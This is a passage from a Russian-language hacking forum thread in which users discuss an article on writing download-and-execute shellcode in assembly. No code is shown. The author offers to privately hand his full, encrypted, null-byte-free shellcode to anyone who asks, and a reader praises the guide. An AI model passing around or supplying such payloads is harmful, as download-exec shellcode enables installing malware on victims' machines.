    >>А выкладывать сюда свой полноценный(где нет 100% нулевых байт и который шифрованый) шелл-код я не собираюсь. Могу дать протестить тебе тот шелл-код который без 0h байтов и шифрованый, если ты сомневаешься в его работоспособности!
    приват зиро дей? Фу...
    Так так... Почему именно мне? Чем я лучше остальных? Выкладывай сюда его в общий доступ! Если нет - то объясни причину. На milw0rm.com намного более хороших шеллкодесов лежит, какой смысл прятать свой?!

    >>Просто я встречал столько народу которые во всю юзают сплоиты и даже не знаю что такое шелл-код!

    Фу... таких лучше не встречать.
     
  17. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
    Я тебе ещё раз говорю - ткни меня носом где ты в своей статье шеллкод написал?! Есть только заготовки, не более! Бред..
     
  18. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,704
    Likes Received:
    1,224
    Reputations:
    455
    2 ShadOS
    А чем тебе не подходит шеллкод из второй части сообщения?
    А на счет того, что выкладывать не собираюсь полный шеллкод, просто потому что ему тут делать нечего :) Кто попросит тому дам :) Просто ты походу дела не веришь в то что шеллкод будет работать.
     
  19. AoD

    AoD Elder - Старейшина

    Joined:
    10 Feb 2006
    Messages:
    29
    Likes Received:
    11
    Reputations:
    2
    2 SLESH статья супер. Давно искал такое подробное описание shell - кода именно download exec на асме Респект тебе и уважуха
     
Loading...
Similar Threads - Написание Shell code
  1. Marketroid
    Replies:
    0
    Views:
    6,220
  2. slesh

    Авторские статьи Написание шелкода на СИ

    Replies:
    12
    Views:
    9,794
  3. Pashkela

    Авторские статьи Easy shell

    Replies:
    22
    Views:
    25,133
  4. WAR!9G
    Replies:
    21
    Views:
    18,980
Thread Status:
Not open for further replies.